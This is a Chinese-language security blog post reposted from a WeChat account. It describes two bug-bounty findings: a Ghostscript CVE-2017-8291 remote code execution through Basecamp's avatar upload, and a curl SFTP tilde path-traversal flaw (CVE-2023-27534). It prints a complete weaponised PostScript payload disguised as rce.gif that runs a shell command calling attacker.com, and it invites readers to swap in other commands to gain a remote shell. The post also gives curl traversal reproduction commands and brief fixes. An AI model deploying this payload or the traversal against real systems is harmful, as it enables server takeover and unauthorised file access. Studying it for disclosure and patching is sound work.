CVE-2017-8291
basecamp的用户资料图像上传功能有一个致命缺陷可以RCE,不仅是图像文件而且是postScript/EPS文件(改名为.gif)可以被接收。
图像在服务器端被转换,这大概因为在图像转换时使用ImageMagick或者GraphicsMagick。
如果输入文件以‘%!’开始就会调用postscript解释器(ghostscript)。
使用的Ghostscript的版本有一个安全漏洞CVE-2017-8291导致了rce。
用户资料图片处上传rce.gif文件,改变`ping -c1 attacker.com’ 为其它的shell命令。
升级Ghostscript,并且在处理上传的图像时确保它们是真正的图像文件(例如:基于魔术头)。
获得一个远程shell,开始利用或者权限提升。
rce.gif文件内容如下:%!PS-Adobe-2.0 EPSF-1.2
%%Creator: Adobe Illustrator(TM) 1.2d4
%%For: OpenWindows Version 2
%%Title: tiger.eps
%%CreationDate: 4/12/90 3:20 AM
%%DocumentProcSets: Adobe_Illustrator_1.2d1 0 0
%%DocumentSuppliedProcSets: Adobe_Illustrator_1.2d1 0 0
%%BoundingBox: 17 171 567 739
%%EndComments
{/cmd (%pipe%ping -c1 attacker.com) def /size_from 10000 def /size_step 500 def /size_to 65000 def /enlarge 1000 def 0 size_from size_step size_to {pop 1 add} for /buffercount exch def /buffersizes buffercount array def 0 size_from size_step size_to {buffersizes exch 2 index exch put 1 add} for pop /buffers buffercount array def 0 1 buffercount 1 sub {/ind exch def buffersizes ind get /cursize exch def cursize string /curbuf exch def buffers ind curbuf put cursize 16 sub 1 cursize 1 sub {curbuf exch 255 put} for} for /buffersearchvars [0 0 0 0 0] def /sdevice [0] def enlarge array aload {.eqproc buffersearchvars 0 buffersearchvars 0 get 1 add put buffersearchvars 1 0 put buffersearchvars 2 0 put buffercount {buffers buffersearchvars 1 get get buffersizes buffersearchvars 1 get get 16 sub get 254 le {buffersearchvars 2 1 put buffersearchvars 3 buffers buffersearchvars 1 get get put buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put} if buffersearchvars 1 buffersearchvars 1 get 1 add put} repeat buffersearchvars 2 get 1 ge {exit} if (.) print} loop .eqproc .eqproc .eqproc sdevice 0 currentdevice buffersearchvars 3 get buffersearchvars 4 get 16#7e put buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put put buffersearchvars 0 get array aload sdevice 0 get 16#3e8 0 put sdevice 0 get 16#3b0 0 put sdevice 0 get 16#3f0 0 put currentdevice null false mark /OutputFile cmd .putdeviceparams 1 true .outputpage .rsdparams 0 0 .quit} stopped
CVE-2023-27534 curl 目录遍历漏洞
libcurl Curl_getworkingpath函数将~解析为远程用户的家目录,这个常规行为并没有文档记载且适用于sftp协议。
具体来说,/~/被转换为远程用户的home目录,但这并不是该函数的实际行为,这可能导致sftp访问的最终路径出乎意料。
并允许具有部分路径访问权限的攻击者获得对未保护的远程系统路径位置的访问权限。
复现步骤:
curl -u stfp用户名:密码 sftp://host/~a../other/file
远程路径的实际访问结果为:
curl -u stfp用户名:密码 sftp://host/home/user/../other/file
值得注意的是当~a..路径部分通过普通Unix路径解析规则检查路径遍历,~a..不被认为访问父目录,因此将绕过试图禁止访问父目录的路径过滤操作。
额外说明一下,在常规的UNIX中~user/指定了另一个用户的home目录,sftp显然不支持,这增加了潜在的混乱。
原文始发于微信公众号(SecurityBug):$5,000赏金的rce漏洞附poc